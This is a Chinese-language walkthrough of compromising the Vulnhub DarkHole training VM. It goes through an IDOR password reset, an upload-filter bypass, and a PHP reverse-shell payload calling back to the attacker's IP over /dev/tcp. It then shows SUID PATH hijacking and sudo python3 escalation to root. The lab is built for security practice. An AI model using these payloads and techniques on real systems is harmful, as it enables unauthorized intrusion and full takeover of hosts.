【渗透测试】Vulnhub DarkHole

渗透环境

攻击机:   IP: 192.168.216.129(Kali)
靶机:     IP:192.168.216.130
靶机下载地址:https://www.vulnhub.com/entry/darkhole-1,724/

进行渗透

一、 获取端口信息

nmap或者arp-scan都能扫除IP,这里就不赘述了。先看看开放了哪些端口。

nmap -O -sV -p- -A 192.168.216.130

开放了22和80端口。

二、 寻找WEB漏洞

访问80端口,出现登录框,并且可以注册账户

注册test账户并登录,登陆后跳转到更改用户信息和密码的页面

猜测这里存在越权修改其他用户密码的漏洞,尝试修改自己的密码并抓包

发现有两个id,我们新建的用户id为2,那么原有的用户id应该1,尝试将body里的id修改为1,返回修改成功

猜测原来的用户名为admin,密码刚才我们已经成功修改为admin了,尝试登录

登录成功,且该页面有上传功能。经过测试,这里上传文件只对后缀名进行了过滤,当我们上传php后缀的文件时会失败,但是上传phtml后缀的文件是可以的。这里可以上传一句话木马用蚁剑进行连接,也可以直接上传反向连接的php代码,我们使用后者。

1.phtml内容如下

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.216.129/4444 0>&1'");?>

让目标主机反向连接192.168.216.129(即攻击机)的4444端口

上传1.phtml,显示上传成功,并返回了上传文件的链接

点击红框中的File,跳转到以下URL

http://192.168.216.130/upload/1.phtml

接下来我们在kali上监听4444端口

nc -nlvp 4444

再次访问:http://192.168.216.130/upload/1.phtml

看到已经成功反弹了shell,当前用户是www-data

三、 提权

查看可以登录/bin/bash的用户

cat /etc/passwd | grep /bin/bash   

当然也可以通过查看/home目录查看创建的用户
常规思路,查看具有SUID权限的文件

find / -perm -u=s -type f 2>/dev/null

发现可疑文件/home/john/toto,直接执行该文件

观察其输出,不难猜测,该文件调用了id命令,因此我们可以采用命令劫持的方式进行提权

echo 'chomd +s /bin/bash' > id            #在当前文件夹下写一个id文件
chmod 777 id                              #更改权限
export PATH=/var/www/html/upload:$PATH    #将当前路径加入环境变量
/home/john/toto                           #执行该文件,会调用我们重写的id

执行时发现我们的chmod +s命令发生了权限错误,即我们无法让自己写的id文件拥有SUID权限,那么只能先放弃在这里进行提权,先使用john的身份进行登录

echo '/bin/bash' > id
/home/john/toto
python3 -c 'import pty;pty.spawn("/bin/bash")'   #创建交互式shell

看到我们已经以john的身份登录进来了。
/home/john/下发现password文件

得到john用户的密码root123

查看John用户可执行的特权命令

sudo -l

看到John用户可以以root身份运行python3file.py
因此我们可以尝试修改file.py的内容

echo "import pty;pty.spawn('/bin/bash')" > file.py

当执行这个py文件时,会打开一个可交互的shell

接下来执行这个文件

sudo python3 /home/john/file.py

在这里有一个坑,当我们使用相对路径时会无法执行,使用绝对路径时才可以,我也不知道为啥

此时我们就已经拿到root权限了,flag在/root下,渗透结束